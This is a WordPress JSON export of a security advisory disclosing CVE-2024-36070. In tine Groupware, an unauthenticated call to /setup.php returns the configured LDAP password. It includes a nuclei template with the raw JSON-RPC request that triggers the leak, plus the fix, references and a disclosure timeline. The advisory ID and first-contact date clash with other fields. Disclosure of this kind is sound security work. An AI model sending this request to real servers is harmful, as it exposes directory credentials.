{"id":23241,"date":"2024-10-30T15:05:55","date_gmt":"2024-10-30T14:05:55","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=23241"},"modified":"2024-11-08T16:08:25","modified_gmt":"2024-11-08T15:08:25","slug":"usd-2024-0005","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2024-0005\/","title":{"rendered":"usd-2024-0005"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.2\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2024-0002 | Password Leakage in tine 2023.11.2<\/h1>\n<h1><\/h1>\n<p><strong>Product<\/strong>: tine Groupware<br \/><strong>Affected Version<\/strong>: prior to 2023.11.8<br \/><strong>Vulnerability Type<\/strong>: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)<br \/><strong>Security Risk<\/strong>: High<br \/><strong>Vendor<\/strong>: Tine Groupware<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.tine-groupware.de\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.tine-groupware.de\/<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE Number<\/strong>: CVE-2024-36070<br \/><strong>CVE Link<\/strong>: <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2024-36070\" target=\"_blank\" rel=\"noopener\">https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2024-36070<\/a><\/p>\n<h3>Description<\/h3>\n<p>Tine Groupware is an open-source web application designed to enhance collaboration and productivity in a team or organization. It offers a wide range of features such as email, calendar, address book, task management, and file sharing.<br \/>If the application was configured to use LDAP backend, the credentials are leaked to unauthorized users.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>The <strong>\/setup.php<\/strong> endpoint leaks the LDAP password using the <strong>Setup.getAllRegistryData<\/strong> method.<br \/>An example nuclei template was created to check for the unauthorized access to the method:<\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\">id: tine20-unauth-ldap-password-leak<br \/>info:     <br \/>   name: Unauthenticated LDAP password leak     <br \/>   author: ChristianPoeschl     <br \/>   severity: high     <br \/>   description: tine leaks LDAP password to unauthenticated users<br \/>http:  <br \/>   - raw:    <br \/>      - |      <br \/>        POST setup.php HTTP\/1.1      <br \/>        Host: {{Hostname}}      <br \/>        X-Tine20-Request-Type: JSON      <br \/>        {\"jsonrpc\":\"2.0\",\"method\":\"Setup.getAllRegistryData\",\"params\":{},\"id\":2}    <br \/>      matchers:      <br \/>         - type: word        <br \/>         condition: and        <br \/>         words:          <br \/>            - authenticationData          <br \/>            - configExists          <br \/>            - '\"backend\":\"Ldap\"'<\/pre>\n<h3>Fix<\/h3>\n<p>Ensure proper access control.<\/p>\n<p>Users of Tine Groupware should update to a current, patched version.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/www.tine-groupware.de\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.tine-groupware.de\/<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/tine-groupware\/tine\/releases\/tag\/2023.11.8\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/tine-groupware\/tine\/releases\/tag\/2023.11.8<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/tine-groupware\/tine\/commit\/5d556a1225aa358cbf7cfbeae518c9386b46f516\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/tine-groupware\/tine\/commit\/5d556a1225aa358cbf7cfbeae518c9386b46f516<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-04-04<\/strong>: First contact request via info@metaways.de<\/li>\n<li><strong>2024-04-09<\/strong>: Vulnerability is fixed by the vendor, a patched release is planned.<\/li>\n<li><strong>2024-04-11<\/strong>: A patched release is made available on GitHub.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian P\u00f6schl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2024-0002 | Password Leakage in tine 2023.11.2 Product: tine GroupwareAffected Version: prior to 2023.11.8Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)Security Risk: HighVendor: Tine GroupwareVendor URL: https:\/\/www.tine-groupware.de\/Vendor acknowledged vulnerability: YesVendor Status: FixedCVE Number: CVE-2024-36070CVE Link: https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2024-36070 Description Tine Groupware is an open-source web application designed to enhance collaboration and productivity in a [&hellip;]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-23241","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23241","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=23241"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23241\/revisions"}],"predecessor-version":[{"id":23650,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23241\/revisions\/23650"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=23241"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}